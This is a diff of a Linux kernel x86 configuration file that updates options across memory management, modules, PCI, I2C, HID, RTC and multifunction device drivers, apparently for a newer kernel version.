+CONFIG_HAVE_MOVE_PUD=y CONFIG_HAVE_MOVE_PMD=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y CONFIG_HAVE_ARCH_HUGE_VMAP=y +CONFIG_HAVE_ARCH_HUGE_VMALLOC=y CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_HAVE_MOD_ARCH_SPECIFIC=y CONFIG_MODULES_USE_ELF_RELA=y +CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y +CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y +CONFIG_SOFTIRQ_ON_OWN_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_PAGE_SIZE_LESS_THAN_64KB=y +CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_HAVE_OBJTOOL=y +CONFIG_HAVE_JUMP_LABEL_HACK=y +CONFIG_HAVE_NOINSTR_HACK=y +CONFIG_HAVE_NOINSTR_VALIDATION=y +CONFIG_HAVE_UACCESS_VALIDATION=y CONFIG_HAVE_STACK_VALIDATION=y CONFIG_HAVE_RELIABLE_STACKTRACE=y # CONFIG_COMPAT_32BIT_TIME is not set CONFIG_HAVE_ARCH_VMAP_STACK=y CONFIG_VMAP_STACK=y +CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y +CONFIG_RANDOMIZE_KSTACK_OFFSET=y +# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y +CONFIG_HAVE_PREEMPT_DYNAMIC=y +CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y +CONFIG_ARCH_HAS_ELFCORE_COMPAT=y +CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y +CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y # # GCOV-based kernel profiling @@ -613,6 +660,8 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -623,19 +672,21 @@ CONFIG_MODULES=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set -# CONFIG_MODULE_COMPRESS is not set +CONFIG_MODULE_COMPRESS_NONE=y +# CONFIG_MODULE_COMPRESS_GZIP is not set +# CONFIG_MODULE_COMPRESS_XZ is not set +# CONFIG_MODULE_COMPRESS_ZSTD is not set # CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set -# CONFIG_UNUSED_SYMBOLS is not set +CONFIG_MODPROBE_PATH="/sbin/modprobe" CONFIG_TRIM_UNUSED_KSYMS=y CONFIG_UNUSED_KSYMS_WHITELIST="" CONFIG_MODULES_TREE_LOOKUP=y CONFIG_BLOCK=y -CONFIG_BLK_SCSI_REQUEST=y -CONFIG_BLK_DEV_BSG=y +CONFIG_BLOCK_LEGACY_AUTOLOAD=y +CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_DEV_ZONED is not set -# CONFIG_BLK_CMDLINE_PARSER is not set # CONFIG_BLK_WBT is not set # CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set @@ -649,6 +700,8 @@ CONFIG_EFI_PARTITION=y # end of Partition Types CONFIG_BLK_MQ_PCI=y +CONFIG_BLOCK_HOLDER_DEPRECATED=y +CONFIG_BLK_MQ_STACKING=y # # IO Schedulers @@ -688,38 +741,71 @@ CONFIG_BINFMT_SCRIPT=y # # Memory Management options # -CONFIG_SELECT_MEMORY_MODEL=y -CONFIG_SPARSEMEM_MANUAL=y +# CONFIG_SWAP is not set + +# +# SLAB allocator options +# +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLAB_MERGE_DEFAULT=y +# CONFIG_SLAB_FREELIST_RANDOM is not set +# CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLUB_STATS is not set +CONFIG_SLUB_CPU_PARTIAL=y +# end of SLAB allocator options + +# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set +# CONFIG_COMPAT_BRK is not set CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set CONFIG_PHYS_ADDR_T_64BIT=y -CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set -# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y CONFIG_ARCH_WANTS_THP_SWAP=y -# CONFIG_CLEANCACHE is not set +# CONFIG_TRANSPARENT_HUGEPAGE is not set +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y # CONFIG_CMA is not set -# CONFIG_ZPOOL is not set -# CONFIG_ZBUD is not set -# CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set # CONFIG_IDLE_PAGE_TRACKING is not set +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y CONFIG_ARCH_HAS_PTE_DEVMAP=y +CONFIG_ARCH_HAS_ZONE_DMA_SET=y +# CONFIG_ZONE_DMA is not set +CONFIG_ZONE_DMA32=y +# CONFIG_VM_EVENT_COUNTERS is not set # CONFIG_PERCPU_STATS is not set -# CONFIG_GUP_BENCHMARK is not set + +# +# GUP_TEST needs to have DEBUG_FS enabled +# CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_USERFAULTFD is not set +# CONFIG_LRU_GEN is not set + +# +# Data Access Monitoring +# +# CONFIG_DAMON is not set +# end of Data Access Monitoring # end of Memory Management options # CONFIG_NET is not set @@ -734,7 +820,11 @@ CONFIG_HAVE_PCI=y CONFIG_PCI=y CONFIG_PCI_DOMAINS=y # CONFIG_PCIEPORTBUS is not set -# CONFIG_PCIEASPM is not set +CONFIG_PCIEASPM=y +CONFIG_PCIEASPM_DEFAULT=y +# CONFIG_PCIEASPM_POWERSAVE is not set +# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set +# CONFIG_PCIEASPM_PERFORMANCE is not set # CONFIG_PCIE_PTM is not set CONFIG_PCI_MSI=y CONFIG_PCI_MSI_IRQ_DOMAIN=y @@ -752,6 +842,8 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCIE_BUS_SAFE is not set # CONFIG_PCIE_BUS_PERFORMANCE is not set # CONFIG_PCIE_BUS_PEER2PEER is not set +CONFIG_VGA_ARB=y +CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_HOTPLUG_PCI is not set # @@ -789,6 +881,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_PCI_SW_SWITCHTEC is not set # end of PCI switch controller drivers +# CONFIG_CXL_BUS is not set # CONFIG_PCCARD is not set # CONFIG_RAPIDIO is not set @@ -798,6 +891,7 @@ CONFIG_PCIE_BUS_DEFAULT=y # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y +# CONFIG_DEVTMPFS_SAFE is not set # CONFIG_STANDALONE is not set CONFIG_PREVENT_FIRMWARE_BUILD=y @@ -808,6 +902,7 @@ CONFIG_FW_LOADER=y CONFIG_EXTRA_FIRMWARE="" # CONFIG_FW_LOADER_USER_HELPER is not set # CONFIG_FW_LOADER_COMPRESS is not set +# CONFIG_FW_UPLOAD is not set # end of Firmware loader # CONFIG_ALLOW_DEV_COREDUMP is not set @@ -912,29 +1007,30 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # end of Texas Instruments shared transport line discipline -# CONFIG_SENSORS_LIS3_I2C is not set -# CONFIG_ALTERA_STAPL is not set +# +# Altera FPGA firmware download module (requires I2C) +# CONFIG_INTEL_MEI=m CONFIG_INTEL_MEI_ME=m CONFIG_INTEL_MEI_TXE=m # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set +# CONFIG_BCM_VK is not set # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set # CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set +# CONFIG_PVPANIC is not set # end of Misc devices -CONFIG_HAVE_IDE=y -# CONFIG_IDE is not set - # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set +CONFIG_SCSI_COMMON=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_PROC_FS is not set @@ -946,6 +1042,7 @@ CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set CONFIG_BLK_DEV_SR=y CONFIG_CHR_DEV_SG=y +CONFIG_BLK_DEV_BSG=y # CONFIG_CHR_DEV_SCH is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set @@ -975,6 +1072,7 @@ CONFIG_ATA_ACPI=y # # CONFIG_SATA_AHCI is not set # CONFIG_SATA_AHCI_PLATFORM is not set +# CONFIG_AHCI_DWC is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set @@ -1017,20 +1115,8 @@ CONFIG_INPUT=y # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y -# CONFIG_KEYBOARD_ADP5588 is not set -# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y -# CONFIG_KEYBOARD_QT1050 is not set -# CONFIG_KEYBOARD_QT1070 is not set -# CONFIG_KEYBOARD_QT2160 is not set -# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set -# CONFIG_KEYBOARD_TCA6416 is not set -# CONFIG_KEYBOARD_TCA8418 is not set -# CONFIG_KEYBOARD_LM8333 is not set -# CONFIG_KEYBOARD_MAX7359 is not set -# CONFIG_KEYBOARD_MCS is not set -# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_SAMSUNG is not set @@ -1074,7 +1160,7 @@ CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y # CONFIG_LEGACY_PTYS is not set -# CONFIG_LDISC_AUTOLOAD is not set +CONFIG_LDISC_AUTOLOAD=y # # Serial drivers @@ -1093,6 +1179,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1102,7 +1189,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_LANTIQ is not set # CONFIG_SERIAL_SCCNXP is not set -# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_ARC is not set @@ -1115,13 +1201,11 @@ CONFIG_SERIAL_CORE=y # CONFIG_SERIAL_NONSTANDARD is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set -# CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y @@ -1132,9 +1216,7 @@ CONFIG_HW_RANDOM_INTEL=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1142,104 +1224,22 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y -# CONFIG_TCG_TIS_I2C_ATMEL is not set -# CONFIG_TCG_TIS_I2C_INFINEON is not set -# CONFIG_TCG_TIS_I2C_NUVOTON is not set # CONFIG_TCG_NSC is not set # CONFIG_TCG_ATMEL is not set # CONFIG_TCG_INFINEON is not set # CONFIG_TCG_CRB is not set # CONFIG_TCG_VTPM_PROXY is not set -# CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support # -CONFIG_I2C=y -CONFIG_ACPI_I2C_OPREGION=y -CONFIG_I2C_BOARDINFO=y -# CONFIG_I2C_COMPAT is not set -# CONFIG_I2C_CHARDEV is not set -# CONFIG_I2C_MUX is not set -# CONFIG_I2C_HELPER_AUTO is not set -# CONFIG_I2C_SMBUS is not set - -# -# I2C Algorithms -# -CONFIG_I2C_ALGOBIT=y -# CONFIG_I2C_ALGOPCF is not set -# CONFIG_I2C_ALGOPCA is not set -# end of I2C Algorithms - -# -# I2C Hardware Bus support -# - -# -# PC SMBus host controller drivers -# -# CONFIG_I2C_ALI1535 is not set -# CONFIG_I2C_ALI1563 is not set -# CONFIG_I2C_ALI15X3 is not set -# CONFIG_I2C_AMD756 is not set -# CONFIG_I2C_AMD8111 is not set -# CONFIG_I2C_AMD_MP2 is not set -# CONFIG_I2C_I801 is not set -# CONFIG_I2C_ISCH is not set -# CONFIG_I2C_ISMT is not set -# CONFIG_I2C_PIIX4 is not set -# CONFIG_I2C_NFORCE2 is not set -# CONFIG_I2C_NVIDIA_GPU is not set -# CONFIG_I2C_SIS5595 is not set -# CONFIG_I2C_SIS630 is not set -# CONFIG_I2C_SIS96X is not set -# CONFIG_I2C_VIA is not set -# CONFIG_I2C_VIAPRO is not set - -# -# ACPI drivers -# -# CONFIG_I2C_SCMI is not set - -# -# I2C system bus drivers (mostly embedded / system-on-chip) -# -# CONFIG_I2C_DESIGNWARE_PLATFORM is not set -# CONFIG_I2C_DESIGNWARE_PCI is not set -# CONFIG_I2C_EMEV2 is not set -# CONFIG_I2C_OCORES is not set -# CONFIG_I2C_PCA_PLATFORM is not set -# CONFIG_I2C_SIMTEC is not set -# CONFIG_I2C_XILINX is not set - -# -# External I2C/SMBus adapter drivers -# -# CONFIG_I2C_DIOLAN_U2C is not set -# CONFIG_I2C_ROBOTFUZZ_OSIF is not set -# CONFIG_I2C_TAOS_EVM is not set -# CONFIG_I2C_TINY_USB is not set - -# -# Other I2C/SMBus bus drivers -# -# CONFIG_I2C_MLXCPLD is not set -# end of I2C Hardware Bus support - -# CONFIG_I2C_STUB is not set -CONFIG_I2C_SLAVE=y -# CONFIG_I2C_SLAVE_EEPROM is not set -# CONFIG_I2C_SLAVE_TESTUNIT is not set -# CONFIG_I2C_DEBUG_CORE is not set -# CONFIG_I2C_DEBUG_ALGO is not set -# CONFIG_I2C_DEBUG_BUS is not set +# CONFIG_I2C is not set # end of I2C support # CONFIG_I3C is not set @@ -1265,22 +1265,12 @@ CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set # CONFIG_TEST_POWER is not set -# CONFIG_CHARGER_ADP5061 is not set -# CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set -# CONFIG_BATTERY_DS2782 is not set -# CONFIG_BATTERY_SBS is not set -# CONFIG_CHARGER_SBS is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_BQ27XXX is not set -# CONFIG_BATTERY_MAX17040 is not set -# CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set -# CONFIG_CHARGER_LP8727 is not set -# CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set -# CONFIG_BATTERY_GAUGE_LTC2941 is not set -# CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_GOLDFISH is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_STATISTICS is not set @@ -1299,6 +1289,7 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # Intel thermal drivers # # CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_PKG_TEMP_THERMAL is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set @@ -1309,6 +1300,9 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1320,94 +1314,46 @@ CONFIG_BCMA_POSSIBLE=y # # Multifunction device drivers # -# CONFIG_MFD_AS3711 is not set -# CONFIG_PMIC_ADP5520 is not set -# CONFIG_MFD_BCM590XX is not set -# CONFIG_MFD_BD9571MWV is not set -# CONFIG_MFD_AXP20X_I2C is not set # CONFIG_MFD_MADERA is not set -# CONFIG_PMIC_DA903X is not set -# CONFIG_MFD_DA9052_I2C is not set -# CONFIG_MFD_DA9055 is not set -# CONFIG_MFD_DA9062 is not set -# CONFIG_MFD_DA9063 is not set -# CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set -# CONFIG_MFD_MC13XXX_I2C is not set -# CONFIG_MFD_MP2629 is not set # CONFIG_HTC_PASIC3 is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set -# CONFIG_MFD_IQS62X is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set -# CONFIG_MFD_88PM800 is not set -# CONFIG_MFD_88PM805 is not set -# CONFIG_MFD_88PM860X is not set -# CONFIG_MFD_MAX14577 is not set -# CONFIG_MFD_MAX77693 is not set -# CONFIG_MFD_MAX77843 is not set -# CONFIG_MFD_MAX8907 is not set -# CONFIG_MFD_MAX8925 is not set -# CONFIG_MFD_MAX8997 is not set -# CONFIG_MFD_MAX8998 is not set -# CONFIG_MFD_MT6360 is not set # CONFIG_MFD_MT6397 is not set -# CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set -# CONFIG_MFD_RETU is not set -# CONFIG_MFD_PCF50633 is not set # CONFIG_MFD_RDC321X is not set -# CONFIG_MFD_RT5033 is not set -# CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set -# CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set -# CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set -# CONFIG_MFD_LP3943 is not set -# CONFIG_MFD_LP8788 is not set -# CONFIG_MFD_TI_LMU is not set -# CONFIG_MFD_PALMAS is not set -# CONFIG_TPS6105X is not set -# CONFIG_TPS6507X is not set -# CONFIG_MFD_TPS65086 is not set -# CONFIG_MFD_TPS65090 is not set -# CONFIG_MFD_TI_LP873X is not set -# CONFIG_MFD_TPS6586X is not set -# CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set -# CONFIG_TWL4030_CORE is not set -# CONFIG_TWL6040_CORE is not set -# CONFIG_MFD_WL1273_CORE is not set -# CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TQMX86 is not set # CONFIG_MFD_VX855 is not set -# CONFIG_MFD_ARIZONA_I2C is not set -# CONFIG_MFD_WM8400 is not set -# CONFIG_MFD_WM831X_I2C is not set -# CONFIG_MFD_WM8350_I2C is not set -# CONFIG_MFD_WM8994 is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set # # ARM devices @@ -1484,12 +1430,6 @@ CONFIG_BACKLIGHT_CLASS_DEVICE=y # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_SAHARA is not set -# CONFIG_BACKLIGHT_ADP8860 is not set -# CONFIG_BACKLIGHT_ADP8870 is not set -# CONFIG_BACKLIGHT_LM3639 is not set -# CONFIG_BACKLIGHT_LV5207LP is not set -# CONFIG_BACKLIGHT_BD6107 is not set -# CONFIG_BACKLIGHT_ARCXCNN is not set # end of Backlight & LCD device support # @@ -1500,6 +1440,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1525,7 +1466,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1552,6 +1492,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1560,9 +1502,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1575,11 +1519,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -1589,6 +1537,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -1614,17 +1563,17 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support -# -# I2C HID support -# -# CONFIG_I2C_HID is not set -# end of I2C HID support - # # Intel ISH HID support # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -1746,9 +1695,6 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set -# CONFIG_USB_HUB_USB251XB is not set -# CONFIG_USB_HSIC_USB3503 is not set -# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set @@ -1756,7 +1702,6 @@ CONFIG_USB_STORAGE=m # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set -# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set @@ -1790,46 +1735,14 @@ CONFIG_RTC_INTF_DEV=y # # I2C RTC drivers # -# CONFIG_RTC_DRV_ABB5ZES3 is not set -# CONFIG_RTC_DRV_ABEOZ9 is not set -# CONFIG_RTC_DRV_ABX80X is not set -# CONFIG_RTC_DRV_DS1307 is not set -# CONFIG_RTC_DRV_DS1374 is not set -# CONFIG_RTC_DRV_DS1672 is not set -# CONFIG_RTC_DRV_MAX6900 is not set -# CONFIG_RTC_DRV_RS5C372 is not set -# CONFIG_RTC_DRV_ISL1208 is not set -# CONFIG_RTC_DRV_ISL12022 is not set -# CONFIG_RTC_DRV_X1205 is not set -# CONFIG_RTC_DRV_PCF8523 is not set -# CONFIG_RTC_DRV_PCF85063 is not set -# CONFIG_RTC_DRV_PCF85363 is not set -# CONFIG_RTC_DRV_PCF8563 is not set -# CONFIG_RTC_DRV_PCF8583 is not set -# CONFIG_RTC_DRV_M41T80 is not set -# CONFIG_RTC_DRV_BQ32K is not set -# CONFIG_RTC_DRV_S35390A is not set -# CONFIG_RTC_DRV_FM3130 is not set -# CONFIG_RTC_DRV_RX8010 is not set -# CONFIG_RTC_DRV_RX8581 is not set -# CONFIG_RTC_DRV_RX8025 is not set -# CONFIG_RTC_DRV_EM3027 is not set -# CONFIG_RTC_DRV_RV3028 is not set -# CONFIG_RTC_DRV_RV3032 is not set -# CONFIG_RTC_DRV_RV8803 is not set -# CONFIG_RTC_DRV_SD3078 is not set # # SPI RTC drivers # -CONFIG_RTC_I2C_AND_SPI=y # # SPI and I2C RTC drivers # -# CONFIG_RTC_DRV_DS3232 is not set -# CONFIG_RTC_DRV_PCF2127 is not set -# CONFIG_RTC_DRV_RV3029C2 is not set # # Platform RTC drivers @@ -1858,6 +1771,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -1865,8 +1779,10 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -1883,21 +1799,68 @@ CONFIG_SYNC_FILE=y # end of Microsoft Hyper-V guest support # 